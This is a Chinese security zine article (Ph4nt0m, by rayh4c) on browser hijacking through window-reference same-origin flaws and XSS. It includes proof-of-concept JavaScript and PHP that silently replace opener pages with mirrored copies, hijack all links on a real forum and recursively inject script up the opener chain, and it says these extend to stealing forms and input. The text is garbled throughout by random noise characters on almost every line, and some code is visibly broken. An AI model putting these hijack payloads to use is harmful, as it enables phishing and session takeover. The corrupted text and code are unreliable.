==Ph4nt0m Security Team==4 X) Q4 u; x: _ b" u5 F8 g n
# R# H8 e* H" Z: c! ?9 J4 L& z Issue 0x03, Phile #0x05 of 0x07) q& j) i: _5 u0 @" M# _
$ A) T3 y9 p( {3 P
, D& d* X* B0 {|=---------------------------------------------------------------------------=|# S+ u: f' g2 T K* s& t, _
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|, p8 x, l- }3 p3 C
|=---------------------------------------------------------------------------=|
) q1 \/ I% Q+ m. A|=---------------------------------------------------------------------------=|
0 d9 s- m$ i5 x, z6 B|=------------------------=[ By rayh4c ]=---------------------------=|" w4 s) C5 H, W$ L
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
3 B4 ~: ^- c# w) [5 ||=---------------------------------------------------------------------------=|3 S9 O+ ?* N$ ~4 ^' v/ Z( ?
5 a: @0 _6 L+ L6 J/ v* X1 a l! b' k; B3 h; ~" A" S& j' B
[目录]
# j8 ^! o7 Q& s& L1 o0 ~9 ~3 B! _' E7 v1 \) ~) ~! A
1. 前言
& K2 n0 c) ]. b# d. z/ h2. 同源策略简叙
, O! ?, z' D, ?3. 理解window对象的同源策略) j6 j* o' Q/ E6 c J
4. 窗口引用功能中的同源策略漏洞
# A; m* ^1 @$ o( r 4.1 父窗口引用子窗口的同源策略问题3 Y! @7 H/ t9 t7 o$ o
4.2 子窗口引用父窗口的同源策略问题
9 I+ ?; @) p$ y# Y: E8 J5. 利用窗口引用漏洞劫持浏览器
) v' G6 M& I" f1 P: x! b4 h. j6. 利用XSS漏洞劫持浏览器
" M1 V7 S; U$ \7 o. { 6.1 正向跨窗口劫持; Z, k' O8 ^3 }/ T6 s' s3 `& ?* u( d
6.2 反向跨窗口劫持% N% N8 \% [8 |) q
6.3 极度危险的跨框架窗口引用劫持
2 \& S- S6 n' ^: O; g 6.4 极度危险的正反向跨窗口递归劫持
; _3 z- M: V( F4 ` e 6.5 完全控制浏览器- w; {0 V6 a! Z8 u
7. 后记* A: S$ B2 T, k7 m/ r' [: S7 L
8. 参考- F- f+ E8 d' j y
. J* V# c, c8 O4 S2 @, O
% D/ N( |, u' S, ^
一、前言7 V) @) \! w, L, [) v
9 h2 \; P; n1 ?, m& \9 z
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
/ s' c4 ]7 z% W2 @4 i' R+ A友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session* Z1 R( k( Y m" f4 ?
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被6 \! `' B# d% M( k7 Y+ N' _" e
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。7 h, r7 u1 W" D, s3 j7 ~" j* R4 a
$ H9 u5 E1 ~4 N" m1 V
- _. ^$ t3 @% i8 _; Z3 o二、同源策略简叙- z! @: h1 U2 u- a' M& p3 c1 l8 W8 [
8 E1 m( Z% [$ D. w 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以7 ~- ?; c. g; K# I& ~
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
) C" i5 N) `3 K3 z" Y曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
$ A5 u w9 r6 V5 m: o, n马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
8 T* w/ X2 ]1 W( |' N漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。5 o4 a; w0 ~! l5 c
+ O$ N; I# X" S# k, E$ j4 O( d3 [9 i8 j8 D
三、理解window对象的同源策略" f) G7 d) @& o# k) a& l
/ Y: W# s. v& Z3 H. x 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
* H: ]# U: A: g9 ~, h象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:$ M1 B: @; N' d a% R" f- D6 @$ @
2 r. z! [/ X1 Q: J4 a
--code-------------------------------------------------------------------------2 n) n1 c. U/ T0 Y. g
<script language="javascript">% C, g1 P* ]' |0 |, A0 V! L; ~
for(p in window) document.write(p+"<br>");
* ^7 w6 W' H; ]# L</script>, D: Z% T4 d* f% `6 u% r
-------------------------------------------------------------------------------
7 ~, }2 k, g7 I4 ]9 Q% u
+ C$ g* H" C8 C9 R* s6 C) B 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
) X/ @2 x3 u9 k$ k# J: z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
5 c5 @2 @+ Y Q: u, s, Z- P2 h! H这些属性和方法就必须遵循同源策略。) g5 A8 P. ~1 W! T( W7 L1 P& I7 M) b
) d8 c. ~' N' r4 m( D5 i R 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那( Z2 u s0 S' v3 e
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 j* D- D, y5 |, \3 O5 h: E
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这+ y( X0 X, [+ c: O W' |% g5 z; o
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的! r" O1 h+ ^% ~
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
$ F& p$ f E* [% Z9 y9 t属性并没有被拒绝访问。 J* B, ?& n8 D8 B4 V; S; a
; e5 F7 O+ d3 H) L: \; ]& `
--demo.html--------------------------------------------------------------------4 A3 U: c, Q7 i" C* G$ e, L0 k
<script language="javascript"> 1 y1 S2 ^! a. v2 {1 [. ?, P+ J |
function allPrpos(obj) { 0 H+ y, W$ ?* V- Y
var props = "<table><tr><td>名称</td><td>值</td>"; 1 l. j9 g/ {! f) f1 G2 r
for(var p in obj){ ( j) M3 P" {0 s
if(typeof(obj[p])=="function"){ w: M5 X' F w% r5 g7 P* K
obj[p](); & l# u- n/ P1 L2 q
}else{
- L; }. T; S; Z' I+ d! u7 p0 l) L try + L' c/ n' {+ A1 P
{
" @% T( }( q2 o. P8 R# w props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
8 R& x+ W7 q# Q } 9 i+ A( o! q7 U* x& s
catch (ex)
$ f- h9 p7 S& C; y( l5 Y, m/ E2 s. C, | { % e' L4 R3 n( U1 D
6 Q- d- L! y0 T; \% Z5 r- ~. p props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
6 I% v8 ?1 z7 L }
% ~4 O1 w6 e5 M; B; ]/ g+ A # Z$ J1 ]* h* y" \
}
4 x/ R- r( ~" L } $ P$ R; V( J6 _' u! b9 }4 A, r
. E+ P/ N" }& D, r M. D3 z% \* t" X/ G document.write(props+"</table>"); - o" P3 o3 w9 f! `
} F* r A" |' Q2 c
9 {' |- a0 x$ t* h0 w/ }
function createWin() {* S- i# P& Y8 b6 {. T, }
newWin = window.open ("http://www.google.com");
6 |# c+ w1 P2 }0 r setTimeout(function(){allPrpos(newWin)},2000); & a- O. w: i/ Z. T: J2 g
}
" t0 b# I" }+ Z) P$ q+ Y
" d& R* H7 p. {% t2 n5 R$ p8 d# T</script>
! `) Y8 k3 @7 Y- E8 z5 t) U3 W, T1 `
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 I J$ j" C' ~. h-------------------------------------------------------------------------------% J2 O: E4 ]1 {5 V7 I9 W: ~
' }$ z3 Z0 c8 r( o6 C7 W& ?
4 J" i; z5 m1 A# w# p, C9 B四、窗口引用功能中的同源策略漏洞
4 a h4 {5 Z2 x) P( }2 n3 P7 C1 R: W' D/ Y8 e( t; N
4.1 父窗口引用子窗口的同源策略问题' J" y, ?/ C2 i3 a
7 J' d5 e/ W( Z+ B2 @
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,6 L0 j6 f9 A/ B/ e; w6 R/ ~2 L. g
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
2 G" M. K3 C* i0 K3 v浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
6 i6 S8 G/ P+ n- M% |行测试,会发现父窗口可以控制非同源子窗口location属性值。, _7 X% N% T1 \5 v
2 |/ }* ^* l$ s8 U% f; w" `# N, q9 Q
--vul1.html--------------------------------------------------------------------& y# A+ I8 K0 \9 @2 G+ P
<script language="javascript">
8 l- N7 s/ {! ~7 f0 N' e$ w2 f; Afunction createWin() {
! U- s& h" x$ {3 \( d j$ }1 X9 R newWin = window.open ("http://www.google.com");
& v0 K* C1 B# G* f# X, a setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 r7 U0 t) `( g} 8 [3 @! B6 ]0 {% L4 K
</script># b: p6 F) k" t/ C3 l1 c0 p
3 c# V* m4 e- @! f
<button onclick='createWin()'>创建一个非同源子窗口测试</button>6 `) h7 a9 ^" o' q" M! o
-------------------------------------------------------------------------------- V% @8 k" {1 |& C$ s# `- p
. P3 `' J/ @" h
2 D+ ?3 z! v8 {9 t4.2 子窗口引用父窗口的同源策略问题
* r9 u! T% Z; m; q
9 f V8 g0 U( R9 N+ s" D/ O# D 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使* Y% u% O+ G4 Z& t+ F6 q. n. m* _
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们2 f" |& s. O9 s* R2 R* Y/ V
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
0 Y7 r5 q B u+ @- o1 i, [会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。. s# S- }: t d' m Z: I
: t3 q; N( w, v7 I: M8 w* t) k
--code-------------------------------------------------------------------------
7 K" y$ R* c( Z" @
5 e6 w8 y; t6 b& W' O) |) x7 d* F& ejavascript:window.opener.location = "http://www.80sec.com";void(0);
6 W8 p* x* k u; o: |+ v7 e' l: m: h' Q+ y- k
-------------------------------------------------------------------------------
6 u5 O& ]5 ]3 U5 J5 r8 @/ a3 K* Q$ H* a+ r9 T% G
* t1 ^& Q) I9 v; E五、利用窗口引用漏洞劫持浏览器7 S% [ f- t) t2 y% [5 ^% F
0 }( M* v4 @% F! l. Q v 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& _! \: U( W. w" t+ t6 W/ |
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
! `: D5 S8 V# B么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
& z. ?, f; o: r1 ]' ]. W/ G' }2 k( r& H/ V& F
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产( [3 z6 L+ U9 U( ^6 n! z
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
- O$ i7 H/ w& ]/ N( b者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
- j* Z) A% q2 D4 Y4 W后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下" d$ s4 D `& p6 z* J7 C! _# ] {
会产生什么可怕的后果。& w# B* j8 W) h* K
9 F. Y( U+ @! c# r, Z! t5 p
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
; K \% h, I1 F+ ]" N- k们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ @) \$ l. I, ~) @1 Z6 V. O
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# v1 T1 [9 t! q" d. {+ l9 o候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可; I* S4 e" }0 s* e0 h
以做更多的事情,所有的一切仅仅是因为点击了一个链接。1 N2 I4 X' q3 o- v
( u8 \$ S; [7 z! J$ _--hjk_ref.php------------------------------------------------------------------
5 G" _4 l$ F0 a# U' }; T, x<?php: `0 `' ]1 e! F* L" |+ e: ~
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 m$ ?6 f5 W' B6 M$ ?$Url_Mirror = $_SERVER["HTTP_REFERER"];( `" I0 Z) l3 F# n9 C
}
- P. d/ P, y5 g- f: S% Nif(isset ($_GET['ref'])) {
/ p j; @6 }" @" Q. n* i& recho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 u; `5 ]- w7 ]% T6 ?5 N}
# R1 p! v" z& W* N# i?>
: d; Z F8 N. M+ I% } \* s8 J( w0 g3 G1 A5 `0 }2 a
<script language="javascript">+ O1 e3 L7 x- S
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); . b6 B! ^. _5 D8 O. b
</script>
6 C0 P7 x" Q+ a6 \5 t. D& q-------------------------------------------------------------------------------
4 d! A, b2 J! ^* }9 e/ T/ ]
: k- Z! J8 d9 |( _, ]+ R7 o% k2 n 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。( O. b0 ?0 b+ @9 u/ k! g) |
9 n# f& z6 @ i8 [# Q
2 b) K- R) B2 ?& N六、利用XSS漏洞劫持浏览器# o- `& d# j9 G, D
( \8 a9 A& n( f+ ?2 [ 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为 X( x( Y' Z$ J% d% [7 [4 _
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
( U- `# w7 j( F A [+ lXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起4 @$ y/ v; M0 Y& V& j
讨论跨站师的终极技巧:
9 ~" b3 E# Y7 k2 G# \4 l( i
7 u7 U2 H4 v9 K$ g9 v- ?3 K9 D- x
6.1 正向跨窗口劫持! B# W9 w+ x8 D
4 e& E1 h9 D O# R; z1 z/ Y
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: m8 @% D$ {( D主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
- e2 ^" n' v7 Z* l! l6 g+ n接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
$ I' T Y4 `# w, Z( T! D框脚本。
" [$ C! Z* @8 F0 S
r3 g: |9 C+ x; L--hijack_open.js---------------------------------------------------------------
& b: ~0 y; y% q+ i3 s7 B0 _. i3 F: Z6 @2 z F r/ P5 x
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
5 U/ g0 T/ G) E6 Z9 b5 B$ x
9 S& e( K V2 t' i. o, C-------------------------------------------------------------------------------
! Z3 N( ~& M) S. c' a8 P& v4 k4 j' S. f
& P; v8 k) t; R; l/ S' A+ Q
6.2 反向跨窗口劫持
R0 m; W/ _+ R5 O- A3 l1 x, ]/ z
& B# i5 O; B/ R/ x$ R3 u* O 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
# d5 z5 s' e0 K码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话 a/ k9 r" U& R7 ^ Y
框脚本。* D1 W: J8 P& [* j: u, q* o7 U, U
% B# ]. ]7 O( q# x; j
--hijack_opener.js-------------------------------------------------------------+ r, Q7 P8 e1 ^1 g
! |% p/ A7 {; y+ Ojavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
- }9 U' c' t$ i6 m
$ m4 g2 v! R7 p' C-------------------------------------------------------------------------------
% _! j. ^- s0 U' ]7 r. O+ S5 ~2 D- X" w! A' q: k0 l; S5 t
6 T& a% l9 i5 }+ @& G: d% U( n
6.3 极度危险的跨框架窗口引用劫持
. i) u& E- T& o! H; |% h6 w
! ]- Z. s# u, t: Y. `- J 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞; e. r. h; }: y/ Z$ X4 o
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 A5 [& D5 X* q- `( |8 K适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; f, z) {3 ~7 X/ q d# ?; w非持久型的XSS,如下:
4 g6 H2 L/ Q3 Q, f+ Y- V4 x; x) _. e
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>0 j: A& f3 Z! ~4 ]
# w$ S9 _. ^& u 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口8 P( h& y1 p& V8 p3 Y- x9 y
注入脚本。
/ y$ g0 R( \; X9 ?/ m: h. E
+ x0 ^2 p9 M$ P# y6 {1 Z--hijack_frame_opener.js-------------------------------------------------------
" s8 W* ]5 j) H# V' j<script>. A* W8 O- d% U x. ?2 }
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
t& o1 @# v% c( z</script>* {- R8 L/ ]3 J2 M9 ` u7 L. N0 H1 g
-------------------------------------------------------------------------------6 v- y* d% m/ a% _
8 l4 G; I4 F" M( U! \. z! R) H3 L
% ]$ ?+ `8 H4 y1 E6.4 极度危险的正反向跨窗口递归劫持# A# B& y2 r! @. r
( c, m7 S% l1 ^8 P
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
3 @) m5 L$ R6 O- Q的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过$ }. n! {, z4 D3 p
异常处理规避之间跨域页面的访问异常,代码如下:
! j6 l: a5 f% e0 e$ ?% u! ^" g: O
--code-------------------------------------------------------------------------
% t2 Q/ U% t& y; x! q
/ e2 ]5 i1 m7 ~! e4 Ijavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);4 b+ j' a4 l: w5 E
4 Q/ q* {: n& a8 v$ z* n: K-------------------------------------------------------------------------------
" X P L+ ]- Z) s: j% h* X/ u; m
9 _6 y- F8 o. [% }; O8 `5 f 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
. A! g5 F' a( J6 o2 c: {2 L3 f以劫持B域之前的A域页面,从而实现“隔空打击”。
- B G) v; E7 w4 s k6 b% u& |6 {9 O+ T1 N) x6 { S- T+ ?
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
7 w- Z4 l. o. y8 @* Q" b3 g$ v执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。0 D# n# f' e0 u; k' S1 S( w5 J
% |/ u3 }( x( L1 \: R+ Z7 ?+ l X 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。+ t1 l* ^8 ~& D6 E
- u7 J3 ~$ }( C, J c* Q# ^
! X7 _6 u/ s% B2 J- j6.5 完全控制浏览器
7 a5 C' h: o! D% v( x
% b, ^1 a L& O I 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则# U! h4 H, K0 h( N
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
+ y; u) A- W; y6 j漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失7 r$ A1 }( d) |. N
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
# k9 r1 w9 @3 m# i# |* {列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站8 O- r m) C9 J% @! h$ ~0 E" U
师的终极目标 - 完全控制浏览器。7 N# u1 d F8 j; ~( S( [' ~
6 T- m5 M+ Z0 r5 t( J
7 k% B0 e& X2 b# ?七、后记
/ R7 ?) O1 n4 U4 R8 B& L; Z" I5 O6 z t$ b' {3 p
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ b; u0 z7 o5 `1 ~与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予2 ^" q6 m# Z7 Y: h k+ P. v2 z
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
, E5 g0 n; n6 `2 ?& T
7 `7 I" U* \$ v8 v1 N c
i b) W F' ~2 P2 H八、参考3 |5 e3 b- c; u: W, I* `& G
! J) @; ^" M; n+ k0 m+ G
1. http://en.wikipedia.org/wiki/Same_origin_policy' [! u- j( O( W) i( W' U- f
2. http://code.google.com/p/browser ... licy_for_DOM_access
* y5 Q4 B! V. S3. http://www.w3.org/TR/Window/; B8 w) v7 _! C; r
4. http://www.80sec.com/release/browser-hijacking.txt# v" N+ i! {* N6 Q! |
5. http://www.80sec.com/all-browser-security-alert.html# _0 |# ]( g6 ]9 v7 Q4 q* z" B
6. http://www.80sec.com/ms08-058-attacks-google.html
" g/ s8 c7 w) ?6 g$ Y. ^' @. p# h ^) ^! L8 p! o8 g* c; h0 `
-EOF- |